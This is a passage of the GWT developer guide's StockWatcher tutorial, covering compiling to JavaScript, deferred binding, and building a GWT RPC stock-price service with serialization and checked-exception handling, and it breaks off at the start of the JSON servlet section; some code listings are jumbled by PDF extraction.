2. From this page, copy the image of the logo and paste it into the images directory.
StockWatcher/war/images/GoogleCode.png

90 / 469

3. In StockWatcher.html, insert an img tag pointing to the logo file.
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html> <head> <meta http-equiv="content-type" content="text/html; charset=UTF-8"> <link type="text/css" rel="stylesheet" href="StockWatcher.css"> <title>StockWatcher</title> <script type="text/javascript" language="javascript" src="stockwatcher/stockwatcher.nocache.js"></script> </head> <body> <img src="images/GoogleCode.png" /> <h1>StockWatcher</h1> <div id="stockList"></div> <iframe src="javascript:''" id="__gwt_historyFrame" tabIndex='-1' style="position:absolute;width:0;height:0;border:0"></iframe> </body> </html>

Note: HTML comments have been omitted for brevity. 4. Save your changes and then press Refresh in the browser running development mode to see them. In Depth: For more information on including style sheets, JavaScript files, and other GWT modules, see the Developer's Guide, Automatic Resource Inclusion.

91 / 469

3.2.8.

Step 8: Compiling a GWT Application

At this point, your initial implementation of StockWatcher is complete. So far, you've been running StockWatcher in development mode. In development mode you can see the effect of your code changes immediately and use your IDE's debugging tools. After you compile StockWatcher, you can run and test it in production mode. When an application runs in production mode, it exists as pure JavaScript but does not require any browser plugins or the Java Virtual Machine (JVM). In this section, you'll: 1. Compile the Java source code. 2. Test StockWatcher in production mode. 3. Deploy StockWatcher to a web server. You'll also learn about deferred binding, GWT's mechanism for serving just the code required depending on browser or, optionally, other factors such as locale.

3.2.8.1.

Compiling Java to JavaScript

To compile the Java source code to JavaScript, you'll use the GWT compiler.

Compiling the StockWatcher application (using Eclipse)
1. In the Package Explorer view, select the StockWatcher project. 2. In the toolbar, click the GWT Compile Project button . 3. Confirm the compiler options and click the Compile button. In the Eclipse console you will see the output of the GWT compiler, for example,
Compiling module com.google.gwt.sample.stockwatcher.StockWatcher Compiling 6 permutations Compiling permutation 0... Compiling permutation 1... Compiling permutation 2... Compiling permutation 3... Compiling permutation 4... Compiling permutation 5... Compile of permutations succeeded Linking into war/stockwatcher. Link succeeded Compilation succeeded -- 30.504s

Compiling the StockWatcher application (without using Eclipse)
You can compile the StockWatcher application directly from the command line: 1. Change to the StockWatcher directory. 2. Execute: ant build If you run the GWT compiler from the command line, you can specify the style of the JavaScript, the level of logging detail, and override other default behaviors by modifying the StockWatcher/build.xml file.

3.2.8.2.

Testing in Production Mode

After the application is compiled, you can run it in production mode by opening StockWatcher.html in a new browser window. StockWatcher looks and behaves just as it did in development mode. The real difference is hidden under the covers. When you interact with StockWatcher now, it's executing JavaScript code in the browser, not Java bytecode in the JVM. Tip: If you launched the development mode server, you can run your application in production mode (after compiling it) by removing the gwt.codesvr parameter from the URL before loading the application.

92 / 469

3.2.8.3.

Deploying the Application to a Web Server

At this point, you could deploy StockWatcher to a public web server simply by uploading the files in the output directory. This initial version does not need to communicate with the server in any way; therefore, it does not require anything special on the part of the web server. Any server that can serve up static web pages will do just fine.

Compiler Output
Take a look at the files generated by the GWT compiler. In the output directory StockWatcher/war/stockwatcher, you see a set of files similar to this:
14A43CD7E24B0A0136C2B8B20D6DF3C0.cache.png 29F4EA1240F157649C12466F01F46F60.gwt.rpc 34BCFF35CB8FD43BCBFC447B883BCADC.cache.html 52BE5EB1FD9F0C2659714EE874E24999.cache.html 548CDF11D6FE9011F3447CA200D7FB7F.cache.png 667F52D77BB3D008A2A6A484569C3C35.cache.html 9DA92932034707C17CFF15F95086D53F.cache.png A7CD51F9E5A7DED5F85AD1D82BA67A8A.cache.png B8517E9C2E38AA39AB7C0051564224D3.cache.png CC9E2ADC408F47959407F6440C301B88.cache.html DF6EEF5BB835EE6FD9BBA5E092B0C429.cache.html clear.cache.gif gwt hosted.html stockwatcher.nocache.js

In addition to the static resources in StockWatcher/war (such as the HTML host page, style sheet, and images directory), notice the other file names contain GUIDs. These files contain the various JavaScript implementations of StockWatcher. GWT generates multiple implementations of your application, a unique permutation for each supported web browser.

Optimizing Runtime with Deferred Binding
At runtime, GWT uses a mechanism called deferred binding to load the correct permutation for the end user's browser. Deferred binding serves just the code the user needs and no more. What are the benefits of deferred binding? Because each permutation is tailored to work around the bugs and idiosyncrasies of its intended web browser, using deferred binding is • Faster for the user. Your application download contains no unnecessary bytes. The application doesn't need to sniff for browsers or provide multiple branches for each browser. Faster for you. GWT does the work of generating the correct JavaScript for each browser so that you don't have to spend so much time dealing with differences between browsers. In addition to browser detection, deferred binding can also generate customized versions of your application for any number of other variables. One very common example is internationalization. With deferred binding, GWT generates a separate implementation of the application for each language, so for example, an English speaker doesn't have to download the French text (and vice versa). You can try this for yourself in the tutorial Internationalizing a GWT Application.

93 / 469

3.3.

Client-Server Communication

All GWT applications run as JavaScript code in the end user's web browser. Frequently, though, you'll want to create more than just a standalone client-side application. Your application will need to communicate with a web server, sending requests and receiving updates. Each time traditional web applications talk to the web server, they fetch a completely new HTML page. In contrast, AJAX applications offload the user interface logic to the client and make asynchronous calls to the server to send and receive only the data itself. This allows the UI of an AJAX application to be much more responsive and fluid while reducing an application's bandwidth requirements and the load on the server. At this point, you've created the initial implementation of the StockWatcher application, simulating stock data in the clientside code. In the following three tutorials, you will learn how to retrieve the stock data from a server. Note: For a broader guide to client-server communication in a GWT application, see Communicate with a Server.

Choosing an Implementation Strategy
GWT provides a few different ways to communicate with a server. Which data format you use will ultimately depend on the server you need to interact with.

Making Remote Procedure Calls (GWT RPC)
If you can run Java on the backend and are creating an interface for your application's server-side business logic, GWT RPC is probably your best choice. GWT RPC is a mechanism for passing Java objects to and from a server over standard HTTP. You can use the GWT RPC framework to transparently make calls to Java servlets and let GWT take care of low-level details like object serialization. To try this out, see the tutorial, Making Remote Procedure Calls.

Retrieving JSON Data via HTTP
If your application talks to a server that cannot host Java servlets, or one that already uses another data format like JSON or XML, you can make HTTP requests to retrieve the data. GWT provides generic HTTP classes that you can use to build the request, and JSON and XML client classes that you can use to process the response. You can also use overlay types to convert JavaScript objects into Java objects that you can interact with in your IDE while developing. To try this out, see the tutorial, Retrieving JSON Data. Although this tutorial covers making HTTP requests only for JSON data, the code can be adapted to work with XML data instead.

Making Cross-Site Requests for JSONP
If you're creating a mashup application that needs to use data from one or more remote web servers, you will have to work around SOP (Same Origin Policy) access restrictions. In this tutorial, you'll use JavaScript Native Interface (JSNI) to write a <script> tag that retrieves JSON with padding (JSONP). To try this out, see the tutorial, Making Cross-Site Requests. Note: There is a variety of public sources of JSON-formatted data you can practice with, including Google Data APIs and Yahoo! Web Services.

Making Asynchronous Calls
Whether you use GWT RPC or get JSON data via HTTP, all the calls you make from the HTML page to the server are asychronous. This means they do not block while waiting for the call to return. The code following the call executes immediately. When the call completes, the callback method you specified when you made the call will execute. Asynchronous calls are a core principle of AJAX (Asynchronous JavaScript And XML) development. The benefits of making asynchronous calls rather than simpler (for the developer) synchronous calls are in the improved end-user experience: • The user interface remains responsive. The JavaScript engines in web browsers are generally single-threaded, so calling a server synchronously causes the web page to "hang" until the call completes. If the network is slow or the server is unresponsive, this 94 / 469

could ruin the end-user experience. You can perform other work while waiting on a pending server call. For example, you can build up your user interface while simultaneously retrieving the data from the server to populate the interface. This shortens the overall time it takes for the user to see the data on the page. You can make multiple server calls at the same time. However, just how much parallelism you can add using asynchronous calls is limited because browsers typically restrict the number of outgoing network connections to two at a time.

If you are new to AJAX development, the hardest thing to get used to about asynchronous calls is that the calls are nonblocking. However, Java inner classes go a long way toward making this manageable. For more information on making asynchronous calls, see the Developer's Guide, Getting Used to Asynchronous Calls

3.3.1.

GWT RPC

At this point, you've created the initial implementation of the StockWatcher application, simulating stock data in the clientside code. In this section, you'll make a GWT remote procedure call to a server-side method which returns the stock data. The server-side code that gets invoked from the client is also known as a service; the act of making a remote procedure call is referred to as invoking a service. You'll learn to: 1. 2. 3. 4. Create a service on the server. Invoke the service from the client. Serialize the data objects. Handle exceptions: checked and unexpected.

Note: For a broader guide to RPC communication in a GWT application, see Communicate with a Server - Remote Procedure Calls.

Before you begin

The StockWatcher project
This tutorial builds on the GWT concepts and the StockWatcher application created in the Build a Sample GWT Application tutorial. If you have not completed the Build a Sample GWT Application tutorial and are familiar with basic GWT concepts, you can import the StockWatcher project as coded to this point. 1. Download the StockWatcher project. 2. Unzip the file. 3. Import the project into Eclipse 1. From the File menu, select the Import... menu option. 2. Select the import source General > Existing Projects into Workspace. Click the Next button. 3. For the root directory, browse to and select the StockWatcher directory (from the unzipped file). Click the Finish button. If you are using ant, edit the gwt.sdk property in StockWatcher/build.xml to point to where you unzipped GWT.

What is GWT RPC?
The GWT RPC framework makes it easy for the client and server components of your web application to exchange Java objects over HTTP. The server-side code that gets invoked from the client is often referred to as a service. The implementation of a GWT RPC service is based on the well-known Java servlet architecture. Within the client code, you'll use an automatically-generated proxy class to make calls to the service. GWT will handle serialization of the Java objects passing back and forth—the arguments in the method calls and the return value.

95 / 469

Important: GWT RPC services are not the same as web services based on SOAP or REST. They are simply as a lightweight method for transferring data between your server and the GWT application on the client. To compare single and multi-tier deployment options for integrating GWT RPC services into your application, see the Developer's Guide, Architectural Perspectives.

Java components of the GWT RPC Mechanism
When setting up GWT RPC, you will focus on these three elements involved in calling procedures running on remote servers. • • • the service that runs on the server (the method you are calling) the client code that invokes the service the Java data objects that pass between the client and server Both the server and the client have the ability to serialize and deserialize data so the data objects can be passed between them as ordinary text.

In order to define your RPC interface, you need to write three components: 1. Define an interface (StockPriceService) for your service that extends RemoteService and lists all your RPC methods. 2. Create a class (StockPriceServiceImpl) that extends RemoteServiceServlet and implements the interface you created above. 3. Define an asynchronous interface (StockPriceServiceAsync) to your service to be called from the client-side code. A service implementation must extend RemoteServiceServlet and must implement the associated service interface. Notice that the service implementation does not implement the asynchronous version of the service interface. Every service implementation is ultimately a servlet, but rather than extending HttpServlet, it extends RemoteServiceServlet instead. RemoteServiceServlet automatically handles serialization of the data being passed between the client and the server and invoking the intended method in your service implementation.

96 / 469

3.3.1.1.

Creating a service

In this tutorial, you are going to take the functionality in the refreshWatchList method and move it from the client to the server. Currently you pass the refreshWatchList method an array of stock symbols and it returns the corresponding stock data. It then calls the updateTable method to populate the FlexTable with the stock data.

The current client-side implementation:
/** * Generate random stock prices. */ private void refreshWatchList() { final double MAX_PRICE = 100.0; // $100.00 final double MAX_PRICE_CHANGE = 0.02; // +/- 2% StockPrice[] prices = new StockPrice[stocks.size()]; for (int i = 0; i < stocks.size(); i++) { double price = Random.nextDouble() * MAX_PRICE; double change = price * MAX_PRICE_CHANGE * (Random.nextDouble() * 2.0 - 1.0); } } prices[i] = new StockPrice(stocks.get(i), price, change);

updateTable(prices);

To create the service, you will: 1. define the service interface: StockPriceService 2. implement the service: StockPriceServiceImpl

Defining the service: the StockPriceService interface
In GWT, an RPC service is defined by an interface that extends the GWT RemoteService interface. For the StockPriceService interface, you need to define only one method: a method that will accept an array of stock symbols and return the data associated with each stock as an array of StockPrice objects. 1. In the client subpackage, create an interface and name it StockPriceService. In Eclipse, in the Package Explorer pane, select the package com.google.gwt.sample.stockwatcher.client From the Eclipse menu bar, select File > New > Interface Eclipse opens a New Java Interface window. 2. Fill in the New Java Interface window. At Name enter StockPriceService Accept the defaults for the other fields. Press Finish Eclipse creates stub code for the StockPriceService interface. 3. Replace the stub with following code.
package com.google.gwt.sample.stockwatcher.client; import com.google.gwt.user.client.rpc.RemoteService; import com.google.gwt.user.client.rpc.RemoteServiceRelativePath; @RemoteServiceRelativePath("stockPrices") public interface StockPriceService extends RemoteService { StockPrice[] getPrices(String[] symbols); 4. }

97 / 469

Implementation Note: Notice the @RemoteServiceRelativePath annotation. This associates the service with a default path relative to the module base URL.

Implementing the service: the StockPriceServiceImpl class
Now create the class (StockPriceServiceImpl) that lives on the server. As defined in the interface, StockPriceServiceImpl will contain only one method, the method that returns the stock price data. To do this, implement the service interface by creating a class that also extends the GWT RemoteServiceServlet class. RemoteServiceServlet does the work of deserializing incoming requests from the client and serializing outgoing responses.

Packaging server-side code
The service implementation runs on the server as Java bytecode; it's not translated into JavaScript. Therefore, the service implementation does not have the same language constraints as the client-side code. To keep the code for the client separate from the code for the server, you'll put it in a separate package (com.google.gwt.sample.stockwatcher.server).

Create a new class
1. Create the service implementation for StockPriceService. In Eclipse, open the New Java Class wizard (File > New > Class). 2. At Package, change the name from .client to .server Eclipse will create a package for the server-side code. 3. At Name, enter StockPriceServiceImpl Implementation Note: By convention, the service implementation class is named after the service interface with the suffix Impl, so call the new class StockPriceServiceImpl. 4. Extend the RemoteServiceServlet class. At Superclass, enter com.google.gwt.user.server.rpc.RemoteServiceServlet 5. Implement the StockPriceService interface. At Interfaces, add an interface. com.google.gwt.sample.stockwatcher.client.StockPriceService 6. Inherit abstract methods. 7. Press Finish Eclipse creates the package com.google.gwt.sample.stockwatcher.server Eclipse creates a stub StockPriceServiceImpl class.
package com.google.gwt.sample.stockwatcher.server; import com.google.gwt.sample.stockwatcher.client.StockPrice; import com.google.gwt.sample.stockwatcher.client.StockPriceService; import com.google.gwt.user.server.rpc.RemoteServiceServlet; public class StockPriceServiceImpl extends RemoteServiceServlet implements StockPriceService { public StockPrice[] getPrices(String[] symbols) { // TODO Auto-generated method stub return null; } }

98 / 469

Write the server-side implementation
Replace the client-side implementation that returns random stock prices. 1. Create instance variables to initialize the price and change data.
private static final double MAX_PRICE = 100.0; // $100.00 private static final double MAX_PRICE_CHANGE = 0.02; // +/- 2%

2. Replace the TODO with the following code. Return prices rather than null.
public StockPrice[] getPrices(String[] symbols) { Random rnd = new Random(); StockPrice[] prices = new StockPrice[symbols.length]; for (int i=0; i<symbols.length; i++) { double price = rnd.nextDouble() * MAX_PRICE; double change = price * MAX_PRICE_CHANGE * (rnd.nextDouble() * 2f - 1f); } } prices[i] = new StockPrice(symbols[i], price, change);

return prices;

Eclipse flags Random and suggests you include the import declaration. 3. Include the import declaration from java.util, not from com.google.gwt.user.client.
import java.util.Random;

Implementation Note: Remember the service implementation runs on the server as Java bytecode, so you can use any Java class or library without worrying about whether it's translatable to JavaScript. In this case, you can use the Random class from the Java runtime library (java.util.Random) instead of the emulated GWT version (com.google.gwt.user.client.Random). 4. This listing shows the completed StockPriceServiceImpl class.
package com.google.gwt.sample.stockwatcher.server; import com.google.gwt.sample.stockwatcher.client.StockPrice; import com.google.gwt.sample.stockwatcher.client.StockPriceService; import com.google.gwt.user.server.rpc.RemoteServiceServlet; import java.util.Random; public class StockPriceServiceImpl extends RemoteServiceServlet implements StockPriceService { private static final double MAX_PRICE = 100.0; // $100.00 private static final double MAX_PRICE_CHANGE = 0.02; // +/- 2% public StockPrice[] getPrices(String[] symbols) { Random rnd = new Random(); StockPrice[] prices = new StockPrice[symbols.length]; for (int i=0; i<symbols.length; i++) { double price = rnd.nextDouble() * MAX_PRICE; double change = price * MAX_PRICE_CHANGE * (rnd.nextDouble() * 2f - 1f); prices[i] = new StockPrice(symbols[i], price, change); } } } return prices;

99 / 469

Include the server-side code in the GWT module
The embedded servlet container (Jetty) can host the servlets that contain your service implementation. This means you can take advantage of running your application in development mode while testing and debugging the server-side Java code. To set this up, add <servlet> and <servlet-mapping> elements to the web application deployment descriptor (web.xml) and point to the implementation class (StockPriceServiceImpl). Starting with GWT 1.6, servlets should be defined in the web application deployment descriptor (web.xml) instead of the GWT module (StockWatcher.gwt.xml). In the <servlet-mapping> element, the url-pattern can be in the form of an absolute directory path (for example, /spellcheck or /common/login). If you specify a default service path with a @RemoteServiceRelativePath annotation on the service interface (as you did with StockPriceService), then make sure the url-pattern matches the annotation value. Because you've mapped the StockPriceService to "stockPrices" and the module rename-to attribute in StockWatcher.gwt.xml is "stockwatcher", the full URL will be: http://localhost:8888/stockwatcher/stockPrices Edit the web application deployment descriptor (StockWatcher/war/WEB-INF/web.xml). Since the greetServlet is no longer needed, its definition can be removed.
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE web-app PUBLIC "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN" "http://java.sun.com/dtd/web-app_2_3.dtd"> <web-app> <!-- Default page to serve --> <welcome-file-list> <welcome-file>StockWatcher.html</welcome-file> </welcome-file-list> <!-- Servlets --> <servlet> <servlet-name>stockPriceServiceImpl</servlet-name> <servlet-class>com.google.gwt.sample.stockwatcher.server.StockPriceServiceImpl</servlet-class> </servlet> <servlet-mapping> <servlet-name>stockPriceServiceImpl</servlet-name> <url-pattern>/stockwatcher/stockPrices</url-pattern> </servlet-mapping> </web-app>

3.3.1.2.

Invoking the service from the client

Making asynchronous calls to the server
You need to to add an AsyncCallback parameter to all your service methods. To add an AsyncCallback parameter to all of our service methods, you must define a new interface as follows: • • • It must have the same StockPriceServiceAsync). name as the service interface, appended with Async (for example,

It must be located in the same package as the service interface. Each method must have the same name and signature as in the service interface with an important difference: the method has no return type and the last parameter is an AsyncCallback object.

1. In the client subpackage, create an interface and name it StockPriceServiceAsync. 2. Replace the stub with following code.

100 / 469

package com.google.gwt.sample.stockwatcher.client; import com.google.gwt.user.client.rpc.AsyncCallback; public interface StockPriceServiceAsync { void getPrices(String[] symbols, AsyncCallback<StockPrice[]> callback); }

Tip: The Google Plugin for Eclipse will generate an error when it finds a synchronous remote service without a matching asynchronous interface. You can right click on the error in Eclipse, select Quick Fix, and choose the "Create asynchronous RemoteService interface" option to automatically generate the asynchronous interface.

Making the remote procedure call
When you call a remote procedure, you specify a callback method which executes when the call completes. You specify the callback method by passing an AsyncCallback object to the service proxy class. The AsyncCallback object contains two methods, one of which is called depending on whether the call failed or succeeded: onFailure(Throwable) and onSuccess(T). 1. Create the service proxy class. In the StockWatcher class, create an instance of the service proxy class by calling GWT.create(Class).
private ArrayList<String> stocks = new ArrayList<String>(); private StockPriceServiceAsync stockPriceSvc = GWT.create(StockPriceService.class);

Eclipse flags GWT. 2. Initialize the service proxy class, set up the callback object, and make the call to the remote procedure. Replace the existing refreshWatchList method with the following code.
private void refreshWatchList() { // Initialize the service proxy. if (stockPriceSvc == null) { stockPriceSvc = GWT.create(StockPriceService.class); } // Set up the callback object. AsyncCallback<StockPrice[]> callback = new AsyncCallback<StockPrice[]>() { public void onFailure(Throwable caught) { // TODO: Do something with errors. } public void onSuccess(StockPrice[] result) { updateTable(result); } }; // Make the call to the stock price service. stockPriceSvc.getPrices(stocks.toArray(new String[0]), callback); }

Eclipse flags AsyncCallback. 3. Include the import declarations.
import com.google.gwt.core.client.GWT; import com.google.gwt.user.client.rpc.AsyncCallback;

101 / 469

Test the Remote Procedure Call
At this point, you've created a service and pointed to it in the module XML file, set up the mechanism for making asynchronous calls, and generated a service proxy on the client side to call the service. However there's a problem. 1. Launch StockWatcher in development mode using the Eclipse debugger. 2. Examine the error log in the Development Shell window.
[ERROR] Type 'com.google.gwt.sample.stockwatcher.client.StockPrice' was not serializable and has no concrete serializable subtypes

In the service implementation (StockPriceServiceImpl), you inherited the code that serializes and deserializes Java objects by extending the RemoteServiceServlet class. However the problem is that we did not also edit the StockPrice class to indicate it was serializable.

3.3.1.3.

Serializing Java objects

Serialization is the process of packaging the contents of an object so that it can moved from one application to another application or stored for later use. Anytime you transfer an object over the network via GWT RPC, it must be serialized. Specifically, GWT RPC requires that all service method parameters and return types be serializable. A type is serializable and can be used in a service interface if one of the following is true: • • • All primitive types (int, char, boolean, etc.) and their wrapper objects are serializable by default. An array of serializable types is serializable by extension. A class is serializable if it meets these three requirements: • • • It implements either Java Serializable or GWT IsSerializable interface, either directly, or because it derives from a superclass that does. Its non-final, non-transient instance fields are themselves serializable, and It has a default (zero argument) constructor with any access modifier (e.g. private Foo(){} will work)

GWT honors the transient keyword, so values in those fields are not serialized (and thus, not sent over the wire when used in RPC calls). Note: GWT serialization is not the same as serialization based on the Java Serializable interface. For more information on what is and is not serializable in GWT, see the Developer's Guide, Serializable Types.

Serializing StockPrice
Based on the requirements for serialization, what do you need to do to make the StockPrice class ready for GWT RPC? Because all its instance fields are primitive types, all you need to do in this case is implement the Serializable or IsSerializable interface.
package com.google.gwt.sample.stockwatcher.client; import java.io.Serializable; public class StockPrice implements Serializable { private String symbol; private double price; private double change; ...

1. Refresh StockWatcher in development mode. 2. Add a stock. 3. StockWatcher adds the stock to the table; the Price and Change fields contain data and there are no errors. Atlhough StockWatcher doesn't look any different on the surface, underneath it is now retrieving its stock price updates from the server-side StockPriceService servlet on the embedded servlet container instead of generating them on the client-side. 102 / 469

At this point, the basic RPC mechanism is working. However, there is one TODO left. You need to code the error handling in case the callback fails.

3.3.1.4.

Handling Exceptions

When a remote procedure call fails, the cause falls into one of two categories: an unexpected exception or a checked exception. In either case you want to handle the exception and, if necessary, provide feedback to the user. Unexpected exceptions: Any number of unexpected occurrences could cause the call to a remote procedure to fail: the network could be down; the HTTP server on the other end might not be listening; the DNS server could be on fire, and so forth. Another type of unexpected exception can occur if GWT is able to invoke the service method, but the service implementation throws an undeclared exception. For example, a bug may cause a NullPointerException. When unexpected exceptions occur in the service implementation, you can find the full stack trace in the development mode log. On the client-side, the onFailure(Throwable) callback method will receive an InvocationException with the generic message: The call failed on the server; see server log for details. Checked exceptions: If you know a service method might throw a particular type of exception and you want the client-side code to be able to handle it, you can use checked exceptions. GWT supports the throws keyword so you can add it to your service interface methods as needed. When checked exceptions occur in an RPC service method, GWT will serialize the exception and send it back to the caller on the client for handling.

Creating a checked exception
To learn how to handle errors in RPC, you will throw an error when the user adds a stock code which you've defined as "delisted"—causing the call to fail. Then you'll handle the failure by displaying an error message to the user.

Checking for and throwing the exception
Create a class: DelistedException 1. Create a class to identify delisted stock codes. In Eclipse, open the New Java Class wizard (File > New > Class). 2. At Name, enter DelistedException 3. Extend the java.lang.Exception class. 4. Implement the java.io.Serializable interface. This exception is designed to be sent by RPC; therefore, this class must be serializable. 5. Inherit abstract methods. 6. Press Finish Eclipse creates a stub DelistedException class. 7. Replace the stub with the following code.
package com.google.gwt.sample.stockwatcher.client; import java.io.Serializable; public class DelistedException extends Exception implements Serializable { private String symbol; public DelistedException() { } public DelistedException(String symbol) { this.symbol = symbol; } public String getSymbol() { return this.symbol; }

}

103 / 469

Update the stock price service interface: StockPriceService In the service interface (StockPriceService), append a throws declaration to the getPrices(String[]) method. In StockPriceService.java, make the changes highlighted below.
package com.google.gwt.sample.stockwatcher.client; import com.google.gwt.user.client.rpc.RemoteService; import com.google.gwt.user.client.rpc.RemoteServiceRelativePath; @RemoteServiceRelativePath("stockPrices") public interface StockPriceService extends RemoteService { StockPrice[] getPrices(String[] symbols) throws DelistedException; }

Update the stock price service implementation: StockPriceServiceImpl You need to make two changes to the service implementation (StockPriceServiceImpl). 1. Make the corresponding change to the getPrices(String[]) method. Append a throws declaration. Include the import declaration for DelistedException. 2. Add the code to throw the Delisted Exception. For the sake of this example, keep it simple and only throw the exception when the stock symbol ERR is added to the watch list. 3. This listing shows the completed StockPriceServiceImpl class.
import com.google.gwt.sample.stockwatcher.client.DelistedException; ... public StockPrice[] getPrices(String[] symbols) throws DelistedException { Random rnd = new Random(); StockPrice[] prices = new StockPrice[symbols.length]; for (int i=0; i<symbols.length; i++) { if (symbols[i].equals("ERR")) { throw new DelistedException("ERR"); } double price = rnd.nextDouble() * MAX_PRICE; double change = price * MAX_PRICE_CHANGE * (rnd.nextDouble() * 2f - 1f); prices[i] = new StockPrice(symbols[i], price, change); } } return prices;

At this point you've created the code that will throw the exception. You don't need to add the throws declaration to the service method in StockPriceServiceAsync.java. That method will always return immediately (remember, it's asynchronous). Instead you'll receive any thrown checked exceptions when GWT calls the onFailure(Throwable) callback method.

Displaying error messages
In order to display the error, you will need a new UI component. First think a moment about how you want to display the error. An obvious solution would be to display a pop-up alert using Window.alert(String). This could work in the case where the user receives the error while entering stock codes. But in a more real-world example, what would you want to happen if stock was delisted after the user had added it to the watch list? or if you need to display multiple errors? In these cases, a pop-up alert is not the best approach. So, to display any messages about failing to retrieve stock data, you'll implement a Label widget. 1. Define a style for the error message so that it will attract the user's attention. In StockWatcher.css, create a style rule that applies to any element with a class attribute of errorMessage.

104 / 469

.negativeChange { color: red; } .errorMessage { color: red; }

2. To hold the text of the error message, add a Label widget. In StockWatcher.java, add the following instance field.
private StockPriceServiceAsync stockPriceSvc = GWT.create(StockPriceService.class); private Label errorMsgLabel = new Label();

3. Initialize the errorMsgLabel when StockWatcher launches. In the onModuleLoad method, add a secondary class attribute to errorMsgLabel and do not display it when StockWatcher loads. Add the error message to the Main panel above the stocksFlexTable.
// Assemble Add Stock panel. addPanel.add(newSymbolTextBox); addPanel.add(addButton); addPanel.addStyleName("addPanel"); // Assemble Main panel. errorMsgLabel.setStyleName("errorMessage"); errorMsgLabel.setVisible(false); mainPanel.add(errorMsgLabel); mainPanel.add(stocksFlexTable); mainPanel.add(addPanel); mainPanel.add(lastUpdatedLabel);

Handling the error
Now that you've built a Label widget to display the error, you can finish writing the error handling code. You will also want to hide the error message if the error is corrected (for example, if the user removes the ERR code from the stock table). 1. Specify the action to take if the callback fails. In StockWatcher.java, in the refreshWatchList method, fill in the onFailure method as follows.
public void onFailure(Throwable caught) { // If the stock code is in the list of delisted codes, display an error message. String details = caught.getMessage(); if (caught instanceof DelistedException) { details = "Company '" + ((DelistedException)caught).getSymbol() + "' was delisted"; } errorMsgLabel.setText("Error: " + details); errorMsgLabel.setVisible(true); }

2. If the error is corrected, hide the error message widget. In the updateTable(StockPrice[] prices) method, clear any errors.

105 / 469

private void updateTable(StockPrice[] prices) { for (int i=0; i < prices.length; i++) { updateTable(prices[i]); } // Display timestamp showing last refresh. lastUpdatedLabel.setText("Last update : " + DateTimeFormat.getMediumDateTimeFormat().format(new Date())); // Clear any errors. errorMsgLabel.setVisible(false);

}

Test Exception Handling in RPC
At this point, you've created and checked for an exception—the delisted stock code "ERR". When StockWatcher makes a remote procedure call to retrieve stock data for the delisted stock code, the call fails, an exception is thrown, and then handled by displaying an error message. 1. Refresh StockWatcher in development mode. 2. Add the stock code, ERR. 3. StockWatcher displays a red error message. Valid stock code data stops being refreshed.

4. Delete the stock code, ERR. 5. The error message is removed. Valid stock code data resumes being refreshed.

106 / 469

3.3.2.

JSON

At this point, you've created the initial implementation of the StockWatcher application, simulating stock data in the clientside code. On this page, you'll make a call to your local server to retrieve JSON-formatted stock data instead: 1. Creating a source of JSON data on your local server 2. Manipulating JSON data int he client-side code 3. Making HTTP requests to retrieve data from the server 4. Handling GET errors Additional information follows: 1. More about JSON, JSNI, Overlay types, and HTTP Note: For a broader guide to client-server communication in a GWT application, see Communicate with a Server.

Before you begin

The StockWatcher project
This tutorial builds on the GWT concepts and the StockWatcher application created in the Build a Sample GWT Application tutorial. If you have not completed the Build a Sample GWT Application tutorial and are familiar with basic GWT concepts, you can import the StockWatcher project as coded to this point. 1. Download the StockWatcher project. 2. Unzip the file. 3. Import the project into Eclipse 1. From the File menu, select the Import... menu option. 2. Select the import source General > Existing Projects into Workspace. Click the Next button. 3. For the root directory, browse to and select the StockWatcher directory (from the unzipped file). Click the Finish button. If you are using ant, edit the gwt.sdk property in StockWatcher/build.xml to point to where you unzipped GWT.

What is JSON?
JSON is a universal, language-independent format for data. In this way, it's similar to XML. Whereas XML uses tags, JSON is based on the object-literal notation of JavaScript. Therefore the format is simpler than XML. In general, JSONencoded data is less verbose than the equivalent data in XML and so JSON data downloads more quickly than XML data. When you encode the stock data for StockWatcher in JSON format, it will look something like this (but the whitespace will be stripped out).
[ { "symbol": "ABC", "price": 87.86, "change": -0.41 "symbol": "DEF", "price": 62.79, "change": 0.49 "symbol": "GHI", "price": 67.64, "change": 0.05

}, {

}, {

]

}

107 / 469

3.3.2.1.

Creating a source of JSON data on your local server

Reviewing the existing implementation
In the original StockWatcher implementation, you created a StockPrice class and used the refreshWatchList method to generate random stock data and then call the updateTable method to populate StockWatcher's flex table.
/** * Generate random stock prices. */ private void refreshWatchList() { final double MAX_PRICE = 100.0; // $100.00 final double MAX_PRICE_CHANGE = 0.02; // +/- 2% StockPrice[] prices = new StockPrice[stocks.size()]; for (int i = 0; i < stocks.size(); i++) { double price = Random.nextDouble() * MAX_PRICE; double change = price * MAX_PRICE_CHANGE * (Random.nextDouble() * 2.0 - 1.0); prices[i] = new StockPrice(stocks.get(i), price, change); } } updateTable(prices);

In this tutorial, you'll create a servlet to generate the stock data in JSON format. Then you'll make an HTTP call to retrieve the JSON data from the server. You'll use JSNI and GWT overlay types to work with the JSON data while writing the client-side code.

Writing the servlet
To serve up hypothetical stock quotes in JSON format, you'll create a servlet. To use the embedded servlet container (Jetty) to serve the data, add the JsonStockData class to the server directory of your StockWatcher project and reference the servlet in the web application deployment descriptor (web.xml). Note: If you have a web server (Apache, IIS, etc) installed locally and PHP installed, you could instead write a PHP script to generate the stock data and make the call to your local server. What's important for this example is that the stock data is JSON-encoded and that the server is local. 1. Create a servlet. In the Package Explorer, select the client package: com.google.gwt.sample.stockwatcher.client In Eclipse, open the New Java Class wizard (File > New > Class). 2. At Package, change the name from .client to .server At name, enter JsonStockData. Eclipse will create a package for the server-side code and a stub for the JsonStockData class. 3. Replace the stub with the following code.

108 / 469

package com.google.gwt.sample.stockwatcher.server; import java.io.IOException; import java.io.PrintWriter; import java.util.Random; import import import import javax.servlet.ServletException; javax.servlet.http.HttpServlet; javax.servlet.http.HttpServletRequest; javax.servlet.http.HttpServletResponse;

